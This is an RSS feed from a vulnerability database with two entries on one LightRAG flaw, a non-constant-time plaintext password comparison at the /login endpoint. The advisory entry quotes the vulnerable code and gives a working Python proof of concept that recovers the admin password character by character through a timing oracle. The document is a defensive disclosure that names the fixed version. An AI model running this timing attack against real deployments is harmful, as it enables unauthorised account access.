<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://db.gcve.eu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Wed, 30 Sep 2026 02:25:55 +0000</lastBuildDate>
    <item>
      <title>fkie_cve-2026-85725</title>
      <link>https://db.gcve.eu/vuln/fkie_cve-2026-85725</link>
      <description>&lt;p&gt;LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, verify_password in lightrag/api/passwords.py compares plaintext AUTH_ACCOUNTS password values with Python&amp;#39;s == operator. The comparison can return after the first mismatching byte, creating response-time differences based on password length and matching prefixes. A network attacker with sufficiently low-latency access can repeatedly query the /login endpoint and use the timing oracle to recover a plaintext-configured password character by character. Deployments using bcrypt-prefixed password values are not affected by this comparison path. This issue is fixed in version 1.5.5.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, verify_password in lightrag/api/passwords.py compares plaintext AUTH_ACCOUNTS password values with Python&amp;#39;s == operator. The comparison can return after the first mismatching byte, creating response-time differences based on password length and matching prefixes. A network attacker with sufficiently low-latency access can repeatedly query the /login endpoint and use the timing oracle to recover a plaintext-configured password character by character. Deployments using bcrypt-prefixed password values are not affected by this comparison path. This issue is fixed in version 1.5.5.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/fkie_cve-2026-85725</guid>
    </item>
    <item>
      <title>GHSA-c759-cx9p-mrwq — lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function</title>
      <link>https://db.gcve.eu/vuln/ghsa-c759-cx9p-mrwq</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: lightrag-hku&lt;/p&gt;
&lt;p&gt;### Summary
When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python&amp;#39;s == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;```python
# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -&amp;gt; bool:
    if stored_password.startswith(&amp;#34;{bcrypt}&amp;#34;):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK&lt;/p&gt;
&lt;p&gt;return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters
```&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```python
# Timing oracle: recover password char-by-char
import httpx, time, string&lt;/p&gt;
&lt;p&gt;TARGET = &amp;#34;http://&amp;lt;TARGET&amp;gt;:9621/login&amp;#34;
USER   = &amp;#34;admin&amp;#34;&lt;/p&gt;
&lt;p&gt;def measure(pwd: str) -&amp;gt; float:
    t = time.perf_counter()
    httpx.post(TARGET, data={&amp;#34;username&amp;#34;: USER, &amp;#34;password&amp;#34;: pwd})
    return time.perf_counter() - t&lt;/p&gt;
&lt;p&gt;known = &amp;#34;&amp;#34;
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+&amp;#34;A&amp;#34;*20) for _ in range(10)))
    known += best
    print(f&amp;#34;Recovered: {known}&amp;#34;)
```&lt;/p&gt;
&lt;p&gt;### Impact
Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: lightrag-hku&lt;/p&gt;
&lt;p&gt;### Summary
When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python&amp;#39;s == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;```python
# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -&amp;gt; bool:
    if stored_password.startswith(&amp;#34;{bcrypt}&amp;#34;):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK&lt;/p&gt;
&lt;p&gt;return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters
```&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```python
# Timing oracle: recover password char-by-char
import httpx, time, string&lt;/p&gt;
&lt;p&gt;TARGET = &amp;#34;http://&amp;lt;TARGET&amp;gt;:9621/login&amp;#34;
USER   = &amp;#34;admin&amp;#34;&lt;/p&gt;
&lt;p&gt;def measure(pwd: str) -&amp;gt; float:
    t = time.perf_counter()
    httpx.post(TARGET, data={&amp;#34;username&amp;#34;: USER, &amp;#34;password&amp;#34;: pwd})
    return time.perf_counter() - t&lt;/p&gt;
&lt;p&gt;known = &amp;#34;&amp;#34;
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+&amp;#34;A&amp;#34;*20) for _ in range(10)))
    known += best
    print(f&amp;#34;Recovered: {known}&amp;#34;)
```&lt;/p&gt;
&lt;p&gt;### Impact
Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/ghsa-c759-cx9p-mrwq</guid>
    </item>
  </channel>
</rss>
